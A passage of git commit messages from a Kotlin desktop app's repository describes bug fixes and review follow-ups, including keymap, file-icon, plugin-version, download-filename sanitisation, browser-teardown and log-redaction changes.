explicit subscription barriers instead of yield(); ipcBridge is reset in @AfterTest; KDoc states the tests pin the bus contract, not the shipped BossAppEventBusEffects filter. * docs(search): correct bus KDocs after destination-addressed TabEventBus Per Claude delta review at af7c292: - BossAppEventBusEffects file KDoc: note the TabEventBus exception to the window-filtered-by-sourceWindowId rule (Issues #498/#506). - TabEventBus KDoc: spell out the cross-process subscription consequence (subscribers must not set SubscribeRequest.sourceWindowId to their own window id; route on the payload's targetWindowId) and fix the 'this file's twelve sibling buses' wording. - TabSelectEventTest KDoc: the bus carries two properties, not three. --------- Co-authored-by: Shivang Co-authored-by: kshivang * fix(keymap): map Cmd to Ctrl in native menu accelerators on Windows/Linux (#535) * fix(keymap): map Cmd to Ctrl in native menu accelerators on Windows/Linux - Problem: MenuShortcutBridge.getKeyShortcut() always set meta=true for Cmd bindings, which Compose Desktop maps to the Super/Windows key on Windows/Linux, so native menu items like Ctrl+N/Ctrl+, failed to fire. - Fix: resolve effectiveCtrl and effectiveMeta from SystemUtils.isMacOS before constructing KeyShortcut, matching the platform-aware mapping in KeymapMatcher and AWTKeyboardInterceptor. - Verification: ./gradlew :composeApp:desktopTest --tests "ai.rever.boss.keymap.ShortcutCaptureConsumersTest"; :composeApp:ktlintCheck; :composeApp:detekt. * fix(keymap): gate browser zoom/reload menu items, make mapping testable per-platform Addresses the Claude review of the menu accelerator change: - The View menu's Actual Size / Zoom In / Zoom Out / Reload items now carry enabled = hasBrowser like Back/Forward/Developer Tools. Their bindings are BROWSER-context and AWTKeyboardInterceptor declines them outside a browser tab, so before this the newly-live Ctrl accelerators on Windows/Linux could fire them from a terminal or editor tab. - The platform modifier mapping is extracted into the pure menuAcceleratorModifiers(hasCmd, hasCtrl, isMacOS), with the asymmetry comment moved with it. The test now pins both platform branches unconditionally on any runner; the bridge-level tests keep asserting the live SystemUtils wiring. - One-line comment keeping the legacy packed-keycode coverage attached to Key.N.keyCode.toString(). * docs(keymap): record the deliberate menu-gate asymmetry in three stale comments Per Claude delta review at 928d3b206: after gating the four View items with enabled = hasBrowser, three comments still described the pre-gate behaviour. - windowsWithActiveBrowser KDoc now enumerates all seven gated items. - activeBrowserWindows KDoc records that the gate is deliberately stricter than the dispatch target (sidebar-slot / background-split browsers lose Zoom and Reload from the View menu; the broader gate would swallow Ctrl+R and Cmd+[/Cmd+]). - The 'gate is stricter' test restates the asymmetry without the now-false claim that a sidebar browser still gets Zoom and Reload. --------- Co-authored-by: kshivang Co-authored-by: Shivang * fix: keep focus mode rail actions stable (#519) Keep focus-mode quick actions stationary in the collapsed rail while the drawer reveals beside it. Preserve rail interaction when the chevron dismissal catcher is present and keep heavyweight tooltips visible. Original implementation: Ayush Santosh Chhatre (@Ayush04-C). Consolidation source #534: Rohan Gaikwad (@rohangaikwad4), credited for the parallel stationary-rail implementation and permanent-activity-bar framing. Prior review-agent catcher and regression-test repairs remain separately attributed in the PR description and review record. Reviewed head 9e939539c8f971cd45e33aa336d261eb21d5a492: all nine CI checks pass, including three platform builds/tests and code quality. Claude's final import/KDoc findings were addressed; dev does not alter the PR's touched files. Manual visual checks remain recorded in the PR/review inventory. * fix(passkey): escape mobile WebAuthn HTML templates against reflected XSS (#546) Escape mobile WebAuthn template values in their HTML and inline JavaScript contexts to prevent reflected script injection. Original vulnerability analysis, contextual escapers and initial regression tests: Antriksh (@Antriksh1984). Prior agent follow-ups repair replacement-pattern expansion and add single-pass substitution plus additional regression coverage. Agent repairs are separate from the original submission score. Validation: all nine current-head CI checks pass; prior combined current-dev integration passed 167 Deno tests and 784 pgTAP assertions. Claude findings have been addressed with dispositions documented on PR #546. No production deployment is included. Co-authored-by: Antriksh * fix(project): stop the per-window recent-projects provider from leaking, without freezing KERNEL clients (#524) Stop window-owned recent-project collectors at disposal while keeping KERNEL watch streams connected to process-wide state. Original implementation by Antriksh; prior review integration and regression hardening are documented in the PR. Co-authored-by: Antriksh * Stop FileIcons keeping a second copy of the icon extension list (#525) * Stop FileIcons keeping a second copy of the icon extension list `FileIcons.forFile` gated `LanguageIcons.forExtension` behind a `when` whose 52 branches were byte-identical: each listed some extensions and then called `LanguageIcons.forExtension(extension).toFileIconInfo()`. The branches carried no behaviour, only a vocabulary, and that vocabulary is already declared in LanguageIcons' own `when` in the adjacent file. It is one of the duplicated language tables BossConsole#75 is about, and #358 did not reach it: that PR consolidated the host and out-of-process language-ID tables, while the icon layer kept its own. The copy had already drifted, which is the failure mode #75 describes. Eleven extensions LanguageIcons has icons for were missing from the gate and fell through to the generic file icon: astro, eslintignore, eslintrc, gql, graphql, pom, prettierignore, prettierrc, prisma, proto and styl. Nothing reported that; the file just rendered as a blank document while the icon sat one file away. Measured before changing anything: the gate routed 108 extensions and LanguageIcons knows all 108, so no extension loses an icon. The gate was a strict subset, so deleting it is additive. `forExtensionOrNull` is the nullable variant that lets a caller ask whether an extension is recognised without comparing against `unknown`, which a real mapping could legitimately return. `forExtension` keeps its total contract and delegates. The 19 explicit branches stay ahead of the delegation because they deliberately disagree with the language mapping: a `.xml` is a config document, `.bat`/`.cmd` take PowerShell's colour, `.env` is a lock, and `jar`/`war`/`ear` are archives carrying Java's colour rather than Java source. `forSpecialFileName` still runs first, which is why `pom.xml` is Maven rather than XML. FileIconsLanguageDelegationTest pins all of it: the fallback for a genuinely unknown extension, a spread of the previously gated extensions, each of the eleven that had drifted, every override that must keep winning, the jar case, and that `forExtension` is still total. 47 tests in the module, 0 failures. Module ktlint and detekt clean; the two existing detekt baseline entries were rekeyed to the renamed function rather than widened. Co-Authored-By: Claude Opus 5 (cherry picked from commit a1c298ef63aeea9c676c2f45022b87007d6258c2) * style(file-icons): fix stale section comments left by the delegation change The 'Shell scripts' comment described branches this change removed, and the empty slot under 'Databases' is where the removed sql branch sat. Comments only; no behavior change. (cherry picked from commit 86a031c6adad92f5b74b4e83dd98b142c3706880) * style(file-icons): drop the value-identical gradle branch and stale docs Addresses the Claude review of #525: - remove the explicit "gradle" branch from forFile: it was value-identical to LanguageIcons' own mapping, i.e. exactly the duplication this PR removes; gradle files now resolve through the forExtensionOrNull delegation, pinned with a non-special name (libs.gradle); - the build.gradle assertion tested forSpecialFileName, not the removed branch; the xml-vs-maven override is now pinned directly; - move the Apple property list comment back above the plist branch and drop the orphan blank line at the Windows batch comment; - delete the orphaned KDoc left by the forExtension rename; - prune the baseline entry for the png line that is a block body now. --------- Co-authored-by: Claude Opus 5 Co-authored-by: Shivang * fix(plugin-store): stop the update check mis-ordering versions it cannot parse (#539) * fix(plugin-store): stop the update check mis-ordering versions it cannot parse `PluginRepositoryManager.isNewerVersion` split a version on "." and dropped any segment that was not a bare integer. Dropping rather than zero-filling shifts every later segment into the wrong position, so the comparison was made against the wrong field. Two cases a user would notice: "1.0.0+build.7" parsed as [1, 7]. Compared against an installed [1, 0, 0] the 7 landed in the minor position and won, so the store offered an update to the version already installed, on every check. SemVer section 10 says build metadata is ignored for precedence. An installed "1.0-beta.5" parsed as [1, 5], so the 5 sat in the minor position and beat the 2 of a genuine "1.2.3" release. The real update was never offered at all. The codebase already has one answer for this. SemanticVersion describes itself as the sole version-comparison primitive for plugin update and floor checks, and PluginUpdateManager uses it. This was the third comparator and the only one that disagreed with it; across a small matrix of realistic version strings the two disagreed on 32 of 156 ordered pairs. plugin-dependency has no project dependencies of its own, so taking it as a dependency here cannot introduce a cycle, and plugin-updater already does it. One behaviour is preserved deliberately rather than inherited: a plugin whose installed version cannot be parsed is still offered an update. It is already in a broken state, and refusing every future update would strand it there. An unparseable candidate is never offered, because nothing can be said about it. Ten tests, of which five fail against the previous implementation. Co-Authored-By: Claude Opus 5 * docs(plugin-repository): correct version-shift comments and cross-reference the two comparators Addresses the Claude review of #539 (comments and one log line; no behaviour change): - the old code read '1.0.0+build.7' as [1, 0, 7] (the 7 in the PATCH slot, not the minor) and '2.0.0-rc.1' as [2, 0, 1] returning true on 1 > 0 at the third position; the test and KDoc comments now say so; - the test KDoc now names which cases are regression tests and which are guards - most also pass against the old comparison; - both isNewerVersion KDocs now cross-reference each other and state the deliberate fail-open vs fail-closed divergence on unparseable installed versions; - checkForUpdates documents that it has no production caller today (Toolbox path is PluginUpdateBridge -> PluginUpdateManager) and logs when a candidate is refused because its store version is not parseable, keeping 'no update offered' and 'we could not tell' distinguishable. * test(plugin-repository): close out the second Claude review of #539 Addresses the re-review of 20b7e6ff5: - the test KDoc listed six regression cases, but 'a release is newer than its own pre-release' passes against the old comparison too ([1,2,3] vs [1,2] decides at the third position both ways) - it is a guard, as the PR body already said; the list now names the five real regressions; - the checkForUpdates KDoc claimed the function is 'pinned by tests' while nothing called it; it is now driven end to end by two new tests (a newer store version is offered; an unparseable store version is never offered), which also cover the new offerUpdateIfNewer helper and its debug log; - the KDoc now states the honest reason the callerless function is kept: the repository layer should answer the same question the updater does if the paths are ever merged. --------- Co-authored-by: Claude Opus 5 Co-authored-by: Shivang * fix(downloads): stop a hostile file name throwing out of the download handler (#540) * fix(downloads): stop a hostile file name throwing out of the download handler FileNameSanitizer.sanitize runs on the name the download source chose, so its input is whatever a server puts in Content-Disposition. Two inputs got the wrong answer. A long extension threw. Nothing bounds how long an extension is: it is whatever follows the last dot. A name of "a." plus 300 characters gives an extension of 301, and subtracting that from the 255 limit gave a negative budget that reached take(), which rejects a negative count and throws out of the handler. The extension is now abandoned when it cannot fit, rather than shortened, because a truncated extension is not the file's type and inventing one is worse than having none. A name of only dots came back ending in a dot. For ".", ".." or "...", the extension computed in step 4 is a lone ".", and the "ensure at least one character" fallback appended it raw to produce "download." That re-created exactly the trailing dot step 5 removes, and a trailing dot is what is invalid on Windows. Truncation could re-expose one too, so the rule is re-applied to whatever the cut produces. The file had no tests. Eleven are added, four of which fail against the previous implementation. They also pin the behaviour that was already right, so the Windows device names, the traversal reduction and the control-character handling cannot regress silently. Verified against the local ktlint and detekt gates. Co-Authored-By: Claude Opus 5 * fix(downloads): abandon an oversized extension instead of truncating it Review follow-up on @arjun28115's fix: the documented intent is that an extension which cannot fit in the 255-character limit is abandoned rather than shortened (a truncated extension is not the file's type), but the budget <= 0 branch kept a prefix of the extension. Preserve the base name only, cut to the limit, and pin the behavior with a regression test. 12 tests, 0 failures; ktlint and detekt clean. * fix(downloads): recompute the cut's extension and re-defuse reserved names Review follow-up on @arjun28115's fix: - truncate() took the extension computed before the trailing-dot trim. For exactly the hostile shape this PR targets - a name ending in a dot - that copy is a stale lone '.', so a real '.pdf' that fit was dropped and the download landed extensionless. The extension is now recomputed from the string being cut, as the helper's KDoc always claimed. - The cut's trim can also shrink the base onto a reserved device name step 4 missed: 'CON ' (space before the dot) is not a reserved segment, so with an oversized extension the result was bare 'CON', which Windows refuses. The cut result is now defused like step 4. - The device-name test title overclaimed ('whatever their case or extension'); it now names what it covers, pins the defused shape, and includes the trailing-space input the description claimed was tested. 14 tests, 0 failures; ktlint and detekt clean. * fix(downloads): compare a device name at the first dot, as Win32 does The review of 9d04f35 is right and the disposition that closed finding 2 was not. A device name followed by an extension is still the device: Microsoft's naming rules say NUL.txt and NUL.tar.gz are both equivalent to NUL, and this file already agreed, since step 4 rewrites CON.txt to _CON.txt. The check compared the segment before the LAST dot, which leaves two holes that are the same underlying fact. Multi-dot names were missed entirely. "CON.tar.gz" was compared as "CON.tar", which is not reserved, so it passed through untouched. Truncation could manufacture a device out of a name that was not one. "CONSOLE." followed by 251 characters is not reserved at step 4. Cutting it to fit the limit left "CON." and the rest, which Windows resolves to the console, so the download writes nowhere and no file appears. The defuse added in 9d04f35 did not catch it, because it compared the whole cut rather than the base, and only the budget <= 0 branch could ever match. Both close by comparing the segment before the first dot, in one helper used by step 4 and by the cut. Trailing spaces are trimmed before the comparison for the same reason: Windows ignores them. Defusing prepends one character, which would push a full-length result to 256. The cut is therefore redone one character shorter when that happens, which is always enough because the prefix is exactly one character. Three tests, all of which fail against 9d04f35. The last asserts the invariant rather than a case: no input in the list comes back as something Windows would resolve to a device. The title of the existing device test said "with a single extension", which was accurate before this and is not now, so it has been corrected rather than left to mislead. 17 tests, ktlint and detekt clean. Co-Authored-By: Claude Opus 5 * test(downloads): pin the retry-that-defuses cut and the CONSOLE redo shape Closes the two test-only items from the third Claude review of 40700c137: - new test for the one path where a defused cut survives into the returned value: the 255 cut and the 254 redo both trim onto CON, both defuse, and the result lands exactly at the 255 limit; - the CONSOLE. + 251x test now pins the full redo shape (CO. + 251x) instead of a non-device check that would also accept a fallback name; - the padded-name test comment now says step 4, not the cut, defuses it; - truncate's comment states the cutTo limit + 1 bound that makes one redo always enough, and the step 4 extension local says it serves the step 6 fallback. --------- Co-authored-by: Claude Opus 5 Co-authored-by: Shivang * fix(browser): prevent memory leak by unifying browser teardown paths (#502) Unify external browser closure with idempotent full teardown. Includes reviewed EDT dispatch, unconditional unregister and regression guards. Original contribution: Anshul Pundhir (@pundhiranshul). Review-agent hardening is documented in PR #502. Co-authored-by: pundhiranshul * fix(runner): honor main-panel rerun delay and document unsupported settings (#486) * Batch validation: promote latest reviewed dev changes to main (#463) * Fix #30: Resolve duplicate context menu label collisions * Cleanup: Remove dead code for #91 and #93 * chore: Sanitize SubmitResult.Error at construction rather than at one render site * Fix panel component lifecycle disposal * fixes * Guard panel lifecycle destruction failures * fix(logging): sanitize secret RPC failures and crash-report errors Three related gaps in what gets logged and shown when something fails: - SecretService.kt had no BossLogger in any of its ten catch blocks (#145). When the organisation migration broke all four secret RPCs (#144), the only WARN in the log came from the calling plugin - the code that actually failed said nothing. Every catch now logs via logger.warn(LogCategory.NETWORK, ...), reusing the already-sanitized failure for both the log and the returned Result rather than sanitizing twice. RoleService and RoleCreationService were checked and already log correctly - SecretService was the only silent one. - LogSanitizer.sanitizeExceptionMessage redacted a hostname only when it appeared inside a URL - a bare hostname (exactly what UnknownHostException.getMessage() produces, i.e. every DNS failure, and what a proxy-connect failure looks like) passed through untouched (#109). Added a narrow hostname pattern: lowercase-only labels ending in a short explicit TLD/`.internal`/`.local` list, with a negative lookahead so a package path that happens to end in a real TLD word mid-FQN (kotlinx.coroutines.internal.ScopeCoroutine, kotlinx.io.EOFException) is not mistaken for one - caught by the existing realistic-stack-trace test after the first version of the pattern redacted a live Kotlin package name out of it. - CrashReportService.SubmitResult.Error held a raw exception string, sanitized at exactly one render call site in CrashReportDialog (#110). The constructor is now private; SubmitResult.Error.of(...) is the only way to build one, and it sanitizes before the raw string can reach .message - a property of the type now, not something every future consumer (a copy button, a toast, a log line) has to remember on its own. Both construction sites (the service's two catch blocks, and the one in CrashReportDialog the issue names directly) now route through it. Tests: new coverage for the ten now-logging SecretService paths (via SupabaseWiringTest's existing sanitization-wiring guard, updated to recognize the "sanitize once into a local, reuse for log and return" shape SupabaseDataProviderImpl already used), six new LogSanitizerTest cases for the hostname fix (including the FQN/version-number false-positive guards), and a new CrashReportServiceTest for the sanitize-at-construction guarantee. * test(crash): extract construction tests from #404 Selected unchanged test file from Antriksh1984 original commit 99d2a5228023c541e825fe2714619c8228140369 (PR #404). Maintainer extraction only; subsequent API/scope adaptations are recorded separately. * chore(ipc): clarify advisory menu ID scope and fix formatting * chore(ui): finish obsolete toolbar comment cleanup * test(crash): adapt consolidated coverage and guard factory visibility Maintainer consolidation: use #311 companion invoke and a URL fixture instead of depending on #404 hostname redaction. Add private constructor/copy bytecode assertions. Preserve original contributor tests and implementation credit separately. * refactor(crash): consolidate construction sanitization in #311 Maintainer scope change: remove only the duplicate #110 implementation, retaining Antriksh1984 original #109/#145 work and commit history. Standalone construction tests are retained with attribution in #311; its Aditya8369 implementation supersedes Error.of. Keep render-time sanitization here until #311 merges and describe the remaining hostname coverage conservatively. * test(panels): retain sibling lifecycle isolation coverage from #313 Adapt the original #313 test to the #317 constructor and supply the missing panelInfo overrides. Original test scenario and assertions are by @rehannayeem0786; these compile adaptations are maintainer integration work. * fix(panels): complete lifecycle cleanup across failure and window teardown Destroy partially constructed panels and replacements that fail to resume. Continue downward lifecycle transitions after a failing pause or stop callback. Dispose panels before plugin teardown in the same callback rather than relying on sibling Compose effect order. Add regression coverage and adapt the retained #313 test bodies for detekt. These changes are maintainer follow-up to the original #313/#317 contributions. * docs(ui): remove stale disabled top-bar feature list * test(ipc): protect advisory menu item ID uniqueness * fix(panels): keep store registration scoped to its window effect Remove the redundant unregister from plugin teardown. Document independent context services and synchronous Essenty onCreate replay, with tests for registration ownership and exactly-once create callbacks. Keep tab teardown hardening separate. Maintainer follow-up to the review of #317; original #313/#317 contributor credit is unchanged. * fix(crash): address consolidated sanitization review notes Maintainer follow-up to Claude N1-N4: document factory/copy invariant, correct stale comments, move Aditya original construction assertions into the service suite while retaining Antriksh blank/diagnostic cases, and log unexpected dialog submission failures. Original contribution credit remains separate. * fix(logging): keep server failure payloads out of secret RPC logs Maintainer follow-up to Claude review: log operation and exception type only, preserve sanitized return semantics, and check each catch for safe return/log wiring. Document measured hostname limits without broadening the matcher; add module-local redaction and diagnostic-preservation coverage. Antriksh original implementation remains credited separately. * ci: build PR batches on dev * Allow Claude diff reviews after approved fork builds (#413) * fix(browser): preserve newer clipboard copies during plain-text paste (#316) * fix(browser): paste-without-formatting no longer clobbers a copy made in its restore window (#205) * fix(browser): make paste-without-formatting's restore identity-based, not text-based Review of this PR caught that the text-equality guard cannot distinguish 'our write is still current' from 'a previous press already restored the rich original' - whose string projection is by construction the same text - so two presses inside the 200ms window permanently downgraded a rich clipboard to plain text. A PasteWithoutFormattingSession now tracks the exact Transferable each press installed and restores the pre-window original once, while a user copy in the window still wins. Adds five tests to BrowserClipboardCommandsTest, including the double-press regression; wraps the two over-limit lines; e.message -> e::class.simpleName in the touched handlers. * fix(browser): fold tryRestore's early exits so it stays within detekt's ReturnCount * fix(browser): blank lines between FakeTransferable overrides per ktlint * test(browser): retain clipboard restore scenarios from #408 * fix(browser): track clipboard ownership through AWT wrappers --------- Co-authored-by: rehannayeem0786 Co-authored-by: Shivang Co-authored-by: Antriksh1984 * fix(plugins): serialize concurrent first loads per class name (#324) * fix(plugins): prevent duplicate class definitions during concurrent loads * fix(plugins): make class loading parallel-safe * test(plugins): pin concurrent loading lifecycle boundaries Maintainer consolidation follow-up: retain #324 synchronization and its tests; add concurrent shared-name, superclass, and unload-marker coverage. Document caller-sensitive registration based on arjun28115 review feedback and clarify that marking unload does not drain an already admitted parent lookup. No global lifecycle lock or resource-policy changes. --------- Co-authored-by: sgoel2be24-cyber <223222024+sgoel2be24-cyber@users.noreply.github.com> Co-authored-by: Procs <168113425+ProportanilityConstant@users.noreply.github.com> Co-authored-by: Shivang * fix(browser): defer native disposal until admitted calls drain (#312 + #409) (#412) * fix: make BrowserHandle JavaScript execution cancellable the previous synchronous JxBrowser call blocked the Main/EDT thread; coroutine cancellation could not take effect while that call was blocking; the implementation now uses JxBrowser’s asynchronous JavaScript callback API; suspendCancellableCoroutine makes the Kotlin waiting side cancellable; late callbacks after cancellation are safely ignored; this does NOT terminate JavaScript already executing inside Chromium. * fix: add robust native call lifecycle tracking for disposal * test: verify native operation cleanup on synchronous failure * fix: linearize browser disposal and pending operation tracking * fix: resolve detekt violations in browser native tracking * test: satisfy detekt failure simulation rule * fix: close native operation disposal race * fix(browser): drain an in-flight call before closing the browser Issue #300 reports that executeJavaScript is a synchronous, non- cancellation-aware native call, and a plugin's own withTimeoutOrNull around it can only abandon the caller's wait - not the call itself - which stays running on Main indefinitely and can race a concurrent handle.dispose(), touching the same native object from two threads at once. The severe half of this was already fixed by BoundedBrowserCall: this class confines every blocking round trip to one dedicated daemon thread instead of Dispatchers.Main, so a wedged renderer no longer freezes the app. What was not yet closed is the residual window this issue's core report is actually about: shutdown() stopped new work but did not wait for whatever was already running, so a caller could proceed straight to browser.close() while a call from just before shutdown was still finishing on the dedicated thread. shutdown() now waits, bounded, for that in-flight call to drain before returning. Costs nothing in the common case - awaitTermination returns immediately once the one worker thread and its queue are both idle, which is where an instance sits between calls - and only the bound in the rare case something was genuinely still running. Known, and disclosed in the KDoc rather than claimed away: this narrows the race for the common case (a call that was always going to finish quickly) rather than closing it. It cannot help when the in-flight call is itself the wedge this class's own deadline exists for - waiting unboundedly for a genuinely stuck call would reintroduce the exact freeze BoundedBrowserCall exists to prevent, just moved from a plugin's await into every caller's teardown path. There is no JxBrowser API on this version able to interrupt a blocking round trip already inside the native call, which is the whole reason the call is confined to its own thread instead of cancelled - closing that window completely needs JxBrowser's own cooperation, which the issue's own analysis already concluded is unavailable. Tests: shutdown waits for a fast in-flight call to finish before returning, and does not wait past its own drain timeout for a wedged one - the same before/after pair the rest of this test file already uses for BoundedBrowserCall's deadline. * fix(browser): defer native close until admitted calls drain Consolidates the lifecycle work from #312 (johncybersage) and #409 (Antriksh1984), retaining both original histories. Replaces success-only callback accounting and timeout-then-close with executor termination signals and host-owned native/profile cleanup. These corrections and replacement tests are maintainer/agent work, separate from contributor scoring. * fix(browser): bound profile waits and clarify deferred cleanup ownership Address consolidation review: schedule both service disposal paths without awaiting native close, diagnose pending drains, centralize executor ownership, and bound profile lease acquisition without permitting unsafe reuse or eviction. Document process-exit abandonment and verify wiring and cleanup ordering. Maintainer/agent follow-up, separate from original #312 and #409 contributor credit. * fix(browser): schedule disposal after early UI teardown failure * ci: create launcher directory before Claude native installation * Revert "ci: create launcher directory before Claude native installation" This reverts commit 5184908e6c3f133502508513b4c5e17651b13bc0. * test: keep warmup registry ordering check on one event loop * test(browser): normalize CRLF in disposal source wiring guards --------- Co-authored-by: john k Co-authored-by: john k Co-authored-by: Antriksh1984 * feat(tabs): show a speaker glyph on tabs that are playing audio (#314) * feat(tabs): show a speaker glyph on tabs that are playing audio (#308) * fix(tabs): review round - compile, registry lifetime, UI-thread marshalling, owner flush 1. graphicsLayer import dropped (does not exist at that package); the fade now uses .alpha(audioAlpha), already imported. 2. TabAudioRegistry no longer outlives its owner: disposeAllTabsBlocking unregisters everything this component registered, and DetachedTab.destroy drops the entry for a tab destroyed without adoption - the handler captures the BossTabsComponent, so stale entries retained it. 3. The registry update is marshalled to the EDT via SwingUtilities.invokeLater, so the tab-model mutation happens on the UI thread as the KDoc claims. 4. setFullscreenHandler flushes the current playback state once ownerTabId becomes known, closing the starts-before-registration race the review could not verify. 5. TabAudioRegistryTest added: delivery, last-writer-wins, ownership-checked unregister. * fix(tabs): CI round 2 - DetachedTab receiver error, long line, and baseline-preserving signatures - BossMainWindowPanel.kt:2098: DetachedTab is a non-inner nested class and cannot use the outer component as receiver; the audio-handler drop moves to detachTab instead, which is where adoption-vs-destroy actually diverges. - TabAudioRegistry.kt:9 wrapped under detekt's 120-char limit. - FluckTabInfo.isPlayingAudio and BossTabButton's glyph read no longer change any signature: the flag is a mutable property (copied in copy()'s body) and the button reads it off tabInfo, so the constructor, copy() and BossTabButton keep their exact baseline-frozen detekt IDs and the resurfaced LongMethod/LongParameterList/CyclomaticComplexMethod findings retire. * fix(tabs): fold handleAudioUpdate within ReturnCount; add missing final newline in the test file * fix(tabs): publish audio state by browser ownership and keep icon layout stable --------- Co-authored-by: rehannayeem0786 Co-authored-by: Shivang * feat: connect chrome density settings and keyboard controls (#305) * feat: wire the chrome density scale into settings and small-screen defaults ChromeDensity / ChromeDimens.of() / LocalChromeDimens already existed on main and every bar (BossTitleBar, BossTopBar, the main tab bar, BossBottomBar) already read its height from BossChrome.dimens - but LocalChromeDimens was never provided anywhere, so it silently resolved to its staticCompositionLocalOf default (Comfortable) always. The scale was built and unreachable. This closes that gap: - WindowAppearanceSettings gets a `density` field (default COMFORTABLE, so an existing install's settings file - which has never heard of this key - decodes to exactly the chrome it already had; no settings-version bump needed). - BossApp.kt now provides LocalChromeDimens from that field, host-only and outside BossAppCompositionLocals (plugins never draw host chrome). - A "Density" dropdown in Settings > Bars (Compact/Comfortable/Spacious), indexed in Settings search. - A fresh install on a small screen (< 1000dp logical height, clearing the 13" MacBook Air's ~931-956pt from #239's own measurements) now defaults to Compact and starts with the bottom bar off - the one bar this manager can still reclaim itself, since the side strips are already off by class default. Toolkit.getScreenSize() is read once, wrapped in runCatching (HeadlessException off a display must not break a fresh install), with a pure defaultDensityFor(screenHeightDp) so the decision is unit-testable without a display. Addresses #239, scoped down from the full issue. Out of scope in this pass, deliberately: - The app does not yet report its own chrome budget as a measured percentage - the issue's own "state it, don't argue it" ask. Reachable later from the same ChromeDimens source, but needs a spot to render it. - The title bar's 27dp "Boss Console" label row is untouched - collapsing or merging it with the tab bar is a separate, riskier layout change than a density scale. - No regression intended to the existing per-bar show/hide switches or focus-mode edges: density only changes how much room a bar that is already on screen takes, never whether it is shown. * fix: drop the Compact-density bottom-bar auto-off, wrap an overlong line Address review feedback on #305: - Removed showBottomBar = density != ChromeDensity.COMPACT from getDefaultSettings(). ChromeMetricsTest already shows the shipped macOS defaults reach 93.3% of a 931dp window at Comfortable, so #239's >=90% bar is met without touching the status bar - and that bar's own KDoc argues it must stay on ("the only always-on readout"). It was also reachable from the settings-load catch fallback, so a transient read error could silently drop the bar and have the next save persist the loss. Compact now only changes density, nothing else. - Wrapped primaryScreenHeightDp() - was 121 chars, one over detekt's default MaxLineLength (120), which applies here since .editorconfig's 140 is a ktlint-only setting and this line wasn't in the baseline. * feat: add chrome density setting * feat: add small-screen chrome defaults * feat: add chrome density controls and small-screen defaults * fix(ui): preserve lean density defaults and test density controls * style: format multiline screen-height lookup * fix(ui): separate density recovery and make editor chords opt-in * style: wrap density default documentation --------- Co-authored-by: AdityaK-iiita Co-authored-by: Shivang * fix(plugins): stop host resource fallback after unload (#325) * fix(plugins): stop host resource fallback after unload * fix(plugins): preserve resource warning for a missing result --------- Co-authored-by: sgoel2be24-cyber <223222024+sgoel2be24-cyber@users.noreply.github.com> Co-authored-by: Shivang * Handle closed browser frames during navigation callbacks (#400) * Handle closed browser frames during navigation callbacks * test(browser): retain closed-event guard after navigation integration * fix(browser): preserve helpers on PID failure and recognize closed transports * style(browser): wrap review diagnostics for detekt --------- Co-authored-by: Shivang * refactor(window): pin the panel content alignment width (#398) * fix(window): restore strict width constraints for nested panels Fixes #278. Commit c15660c5 inadvertently dropped the explicit width constraint for nested panels in the right dock by wrapping them inside a PanelColumn with a Box(weight(1f)) that lacked fillMaxWidth(). This loose constraint caused a known issue with SubcomposeLayout caching stale bounds when resized, resulting in Row content disappearing after weighted Spacers. This commit restores the .fillMaxWidth() propagation. * Cover panel content alignment across width changes * Keep panel layout regression in the existing app test package * Document panel alignment contract and pin filling content width * Wrap the panel width assertion to satisfy detekt --------- Co-authored-by: Shivang * #320 - Fix quick actions vanishing in short tab rail (#328) * #320 - Fix quick actions vanishing in short tab rail * Fix: detekt & ktlint checks * Fix rail action budgets and reversible fallback wiring * Fix resize test assertion import and update rail coverage note --------- Co-authored-by: Shivang * fix(crash): refine scroll boundary and bound error sanitization (#350) * fix(crash): refine scroll boundary and bound error sanitization * Avoid exposing a partial token at the crash message limit * Document sanitizer input bound and verify expansion ordering --------- Co-authored-by: Aishwary Anand Co-authored-by: Shivang * fix(logging): redact private hostnames (#346) * fix(logging): redact private hostnames * Handle private hostname punctuation and preserve diagnostic ports * Format hostname punctuation regression assertion --------- Co-authored-by: ayush Co-authored-by: Shivang * feat: Opening an .html file should ask open as a file or webpage (#333) * feat: Opening an .html file should ask open as a file or webpage * Fix HTML prompt delivery and persisted preference ordering * Cover HTML routing and correct review test fixtures * Honor HTML navigation intent and release pending prompts on failure * Isolate HTML prompt handling from the general dialog host --------- Co-authored-by: Shivang * fix(plugin-store): parse timestamps consistently in list and detail metadata (#379) * Fix: Implement proper ISO timestamp parsing in PluginStoreClient * fix(repository): implement robust ISO timestamp parsing for Supabase payloads * style(repository): resolve detekt MaxLineLength and TooGenericExceptionCaught * fix(plugin-store): implement plugin metadata timestamp parsing PluginStoreClient.parseTimestamp was a stub that always returned 0L, so every plugin fetched from the store showed "Last Updated"/"Published" as the Unix epoch in the Toolbox UI regardless of what the server actually sent (#337). Parses the ISO-8601 timestamp (the shape the store sends, e.g. 2024-05-12T14:30:00Z, or with a numeric offset) via java.time.Instant, falling back to 0L for a blank, missing, or malformed string rather than throwing - matching the field's own empty-string default for a response that omits it. java.time rather than adding kotlinx-datetime as a new dependency: this module already uses java.util.* directly in the same commonMain source set (it has one real target, jvm("desktop")), so nothing is gained by introducing a second time library for one function. Tests exercise the real PluginDetailResponse.toPluginInfo(), matching the convention already established next to it in PluginStoreResponseDecodingTest: a Z-suffixed timestamp, a numeric-offset timestamp, a blank string, and a malformed string. * Fix timestamp normalization edge cases and verify both response mappings * Use release publication dates and pin timezone-independent fallback --------- Co-authored-by: Sanjay Co-authored-by: Antriksh1984 Co-authored-by: Shivang * feat(remote-ui): authenticate and expose remote UI surfaces (#348) * feat(remote-ui): authenticate remote UI process identity * feat(remote-ui): place authenticated remote UI surfaces * fix(remote-ui): close ownership and placement lifecycle races * test(remote-ui): expose placement recovery cases to JUnit --------- Co-authored-by: Shivang * feat(dashboard): add shared read-only What's New release feed (#381) * Add What's New release feed to dashboard * Serialize update settings persistence * Remove unused update settings import * fix(updater): retain realtime refreshes during shared release fetches * style(updater): format shared release fetch regression tests * fix(updater): coalesce release refresh bursts and preserve visible history --------- Co-authored-by: Shivang * fix(language): consolidate host and out-of-process language-id tables (#358) * fix(language): consolidate host and out-of-process language-id tables EditorLanguages (composeApp) and EditorServiceImpl (modules/boss-app-editor) each hand-maintained their own extension-to-language-id table because boss-app-editor - a plain JVM module compiled to a GraalVM native image - could not depend on anything in composeApp. They disagreed: EditorServiceImpl named .sh/.bash/.zsh "shell", EditorLanguages named them "bash", and EditorServiceImpl was missing more than forty ids the other table had (fortran, delphi, latex, lisp, tcl, clojure, batch, diff, ...) (#75). Moves the table into a new plugin-platform/plugin-language-types module - dependency-free by design, so it carries nothing extra into boss-app-editor's 